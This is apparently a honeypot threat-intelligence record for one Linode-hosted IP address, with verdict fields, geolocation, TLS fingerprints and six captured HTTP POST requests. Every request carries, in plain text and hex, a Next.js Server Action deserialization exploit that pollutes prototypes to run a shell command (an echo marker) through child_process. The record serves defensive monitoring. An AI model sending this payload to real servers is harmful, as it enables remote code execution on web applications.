{"ip":"45.33.17.77","total_events":6,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":"CDN","why":["6 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range.","Sent 4,913 bytes despite few ports and no known exploit path: focused interaction with one service, worth a look."],"engagement":{"level":"payload","label":"Sustained payload","detail":"4,913 bytes sent","bytes_sent":4913,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-27T09:44:51","last_seen":"2026-09-27T10:27:31","events_24h":0,"events_7d":6,"geo":{"country_code":"US","country_name":"United States","region":"Texas","city":"Richardson","lat":32.9482,"lon":-96.7297,"asn":63949,"org":"Akamai Connected Cloud"},"source_domain":"45-33-17-77.ip.linodeusercontent.com","known_scanners":[],"scanner_tag":{"key":"linode","label":"Linode (Akamai)","category":"hosting_provider","url":"https://www.linode.com/"},"cve_matches":[],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":3},{"port":3000,"proto":"tcp","label":"Web-alt","count":2},{"port":443,"proto":"tcp","label":"HTTPS","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i301100_1d37bd780c83_ecd0401ec68b"],"tls_client_hello":"16030105f8010005f40303d8ebc28ab7519dcb2bdf29a2c1273423d45447d1560cc4a059819e235cae8d262042e661b53056109979f8ded66dbc75be7294e8b307a97bebee04112802af01b9003c130213031301c02cc030009fcca9cca8ccaac02bc02f009ec024c028006bc023c0270067c00ac0140039c009c0130033009d009c003d003c0035002f0100056fff01000100000b000403000102000a0012001011ec001d0017001e0018001901000101002300000016000000170000000d0036003409050906090404030503060308070808081a081b081c0809080a080b080408050806040105010601030303010302040205020602002b00050403040303002d00020101003304ea04e811ec04c05c273ebd120566ba50a268b51787b357b52ba6b0101ea4c4b966697ee43e87c1a9a7653507ecce2d0b5080dc77c52b812ed64aaa3b8c2ed005960b762cc71065633eca42008680105a0c62be66cd8fc43f7d3b5cd3807bcd31955f15ba8a7a5228b925c5e723e02cacfedc9a8f7c0e569a6b96343ca86741b540477f503b9529bd6cba2fb6467e27ab975ea913f4d3659240999509ad2ae901773a7877ab0f8bc7889dcca08b12903394955bc5a6d4813bdec254e74c4518db3bee704fc71a3aebb892728580d6f3c18501b3cb49790cb87e835c0cec8176def71366e4645e12c9234731a458a42596c06dbcb828ba141d18200d03c98b25247d83c4d1961349f2a0b287a01210498b7054c627c908b4aaa404073310cdff52bdd2d15be548413db3bf74725e6443c98ccc818b42195dcaaa3fac3ca2513f2eb41bff19a8ca533b1c729010007b2d685d6d924ec167ada5ec625d30a25e176ab9703e68f38b9b886344d50d849c2ee13785cf876066aa402bf127ae029a7f72436a97c38fc330dfa96df34cb8c73906d1687c46f10c53b1359833a03680664f71571788cab88247330495d755a61aa26650160c7c21a09b0765a1a19fcaf5970b604fae3601f5728f4faca84f002755b55a75f62c90e8b53c1868aec05999fbba76f85fb5d94b5af18059fb1cd57c6081332db2469f422728f6db00d29c16f89b6973a647ce604c32c3ccc4854eda9b5a4be27dcae33ddc558bc7759b8c4110c8694dde6b5be7b8c6cdc2825c8a525680011f4c325de154b74b5f1aaacf48630f41fb3a6d367a6d9483e1e50b917556d4a8b93cb118095b4876321bf7e86195204c85b062432a1c7c0110dcd437bc9730098c4241968242f3239ca951c884673b236135c702edb1917a91319ec079840b2444151c650b485550066030766585af19a252fc136354313f3384913daa47abd1850bd9bd28b87a9f2abe6988a1c4162258e7724229c7314bb5d3e7a9a4a28be92c034340b0d7f9b72da79056a995f7806e4aa4b00124a4e0406f043c21bde03609849b28471467303718b5a031ec96c2b249ad34aad47c33c8166ef0ab608a65bea82b6daae586914a9eb9a018cfe9b90260ca7fdac1597a6ee6d786e8ea05fe880fc2f3877e1772a0dc47b2fc674514a62f1217ad240caca49d9d929ac3f2480fd487200c961f7142bca501c613b252d256a9f74f1c35456ca8430ff1899b3a429ee73d1da4b58bc7250b522f0d5677ea5160b084c93acc8480d178c25193b96c86b33891d086cf5afa2002607c1fbc7124d273a8b9b1c9675d6e80135406492e21c524f0a412636b7eba7a3bb5644c69845dd74e694b22ccf7ae6a4a78b276102073be5ba879a00cd02a853d7ad0781c91cec36218e7c1bee9e691b59a78a15aa75070a0c322ab84e0af7c6cb3b7a1c5c670c0ef22c94faa256d82ce55a69dea486a86073fa1661bfeb34720b437e66402150910f7ea5c05b515f0070452a3a1bc5925761923cc8976ec575c5b35275637ceb1a311702c300d7399590ba5d941289876396c94cd6750b3c24509c8ba11c1056e84c27340461dd31698b24022e903b8df37b5b3735c70906184c6a50a050ac7e0c7dbc961de60dfe2812526dd70a9e7ddf5767d5aca7de5a6d3135fe0269c31ab6ae380bb12ccda75d9e8cb39fd30fb2770be0a5bf70de8e9584cf3fafc2e954142001d00208cee4de1cb70cedda1b04f5f102ab452b5f3263ab09b0cdccdb793aab802586c001b00050400010003","tls_ja3":["2617ff3a2d7f879546f0aac7afc5f15c"],"http_akin":["b11cuq071_00050813_aee6d12e_xe7f3"]},"fingerprint_peers":{"t13i301100_1d37bd780c83_ecd0401ec68b":18,"b11cuq071_00050813_aee6d12e_xe7f3":51},"akin_families":{},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-09-27","count":6}],"recent_events":[{"timestamp":"2026-09-27T10:27:31","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"602\",\"content-type\":\"multipart/form-data; boundary=----CveSweepbd9c5cb8\",\"host\":\"<HONEYPOT>:80\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------CveSweepbd9c5cb8\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo R2SHELL_6ff5254bad').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------CveSweepbd9c5cb8\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------CveSweepbd9c5cb8\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------CveSweepbd9c5cb8--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203630320d0a486f73743a20<HONEYPOT>3a38300d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d437665537765657062643963356362380d0a4e6578742d416374696f6e3a20780d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d437665537765657062643963356362380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2052325348454c4c5f3666663532353462616427292e746f537472696e6728292e7472696d28293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d437665537765657062643963356362380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d437665537765657062643963356362380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d437665537765657062643963356362382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"cc80b917-9129-49ab-89cf-c642459db7bd","seq":1,"duration_ms":101,"bytes_in":818,"bytes_out":76},{"timestamp":"2026-09-27T10:27:31","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"602\",\"content-type\":\"multipart/form-data; boundary=----CveSweep68eeeb71\",\"host\":\"<HONEYPOT>:443\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------CveSweep68eeeb71\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo R2SHELL_975590c93d').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------CveSweep68eeeb71\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------CveSweep68eeeb71\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------CveSweep68eeeb71--\r\n","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203630320d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d437665537765657036386565656237310d0a4e6578742d416374696f6e3a20780d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d437665537765657036386565656237310d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2052325348454c4c5f3937353539306339336427292e746f537472696e6728292e7472696d28293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d437665537765657036386565656237310d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d437665537765657036386565656237310d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d437665537765657036386565656237312d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"2617ff3a2d7f879546f0aac7afc5f15c","session":"abd080ce-d962-488d-8bbf-6267c0b3fdc3","seq":1,"duration_ms":100,"bytes_in":819,"bytes_out":76},{"timestamp":"2026-09-27T10:27:31","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"602\",\"content-type\":\"multipart/form-data; boundary=----CveSweep2d93bcfc\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------CveSweep2d93bcfc\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo R2SHELL_6c1da3cf34').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------CveSweep2d93bcfc\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------CveSweep2d93bcfc\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------CveSweep2d93bcfc--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203630320d0a486f73743a20<HONEYPOT>3a333030300d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d437665537765657032643933626366630d0a4e6578742d416374696f6e3a20780d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d437665537765657032643933626366630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2052325348454c4c5f3663316461336366333427292e746f537472696e6728292e7472696d28293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d437665537765657032643933626366630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d437665537765657032643933626366630d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d437665537765657032643933626366632d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"707f8a48-1bbc-4db3-8669-5f9a940e2a43","seq":1,"duration_ms":100,"bytes_in":820,"bytes_out":76},{"timestamp":"2026-09-27T10:23:35","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"602\",\"content-type\":\"multipart/form-data; boundary=----CveSweepbf1e3dc7\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------CveSweepbf1e3dc7\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo R2SHELL_dd8016012b').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------CveSweepbf1e3dc7\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------CveSweepbf1e3dc7\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------CveSweepbf1e3dc7--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203630320d0a486f73743a20<HONEYPOT>3a333030300d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d437665537765657062663165336463370d0a4e6578742d416374696f6e3a20780d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d437665537765657062663165336463370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2052325348454c4c5f6464383031363031326227292e746f537472696e6728292e7472696d28293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d437665537765657062663165336463370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d437665537765657062663165336463370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d437665537765657062663165336463372d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"c9ede932-b6ef-4014-8e23-e1ffb5cae1de","seq":1,"duration_ms":100,"bytes_in":820,"bytes_out":76},{"timestamp":"2026-09-27T10:23:34","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"602\",\"content-type\":\"multipart/form-data; boundary=----CveSweepe6ea07f8\",\"host\":\"<HONEYPOT>:80\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------CveSweepe6ea07f8\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo R2SHELL_2596285c03').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------CveSweepe6ea07f8\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------CveSweepe6ea07f8\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------CveSweepe6ea07f8--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203630320d0a486f73743a20<HONEYPOT>3a38300d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d437665537765657065366561303766380d0a4e6578742d416374696f6e3a20780d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d437665537765657065366561303766380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2052325348454c4c5f3235393632383563303327292e746f537472696e6728292e7472696d28293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d437665537765657065366561303766380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d437665537765657065366561303766380d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d437665537765657065366561303766382d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"a8121b78-4248-4595-8a5f-e2329a22222d","seq":1,"duration_ms":100,"bytes_in":818,"bytes_out":76},{"timestamp":"2026-09-27T09:44:51","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"602\",\"content-type\":\"multipart/form-data; boundary=----CveSweep0b023e74\",\"host\":\"<HONEYPOT>:80\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------CveSweep0b023e74\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo R2SHELL_43b8c0d56d').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------CveSweep0b023e74\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------CveSweep0b023e74\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------CveSweep0b023e74--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203630320d0a486f73743a20<HONEYPOT>3a38300d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d437665537765657030623032336537340d0a4e6578742d416374696f6e3a20780d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a2d2d2d2d2d2d437665537765657030623032336537340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442305c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d70726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e6328276563686f2052325348454c4c5f3433623863306435366427292e746f537472696e6728292e7472696d28293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a60247b7265737d607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d437665537765657030623032336537340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d437665537765657030623032336537340d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d437665537765657030623032336537342d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"795af9d9-cccd-4c77-bd2b-6543b8387d76","seq":1,"duration_ms":101,"bytes_in":818,"bytes_out":76}],"http_methods":[{"method":"POST","count":6}],"distinct_ports_total":3,"top_paths":[{"path":"/","count":6,"ports":3}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"identity","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"602","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----CveSweepbd9c5cb8","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":6},"tags":[],"data_as_of":"2026-10-01T17:11:02.772260+00:00"}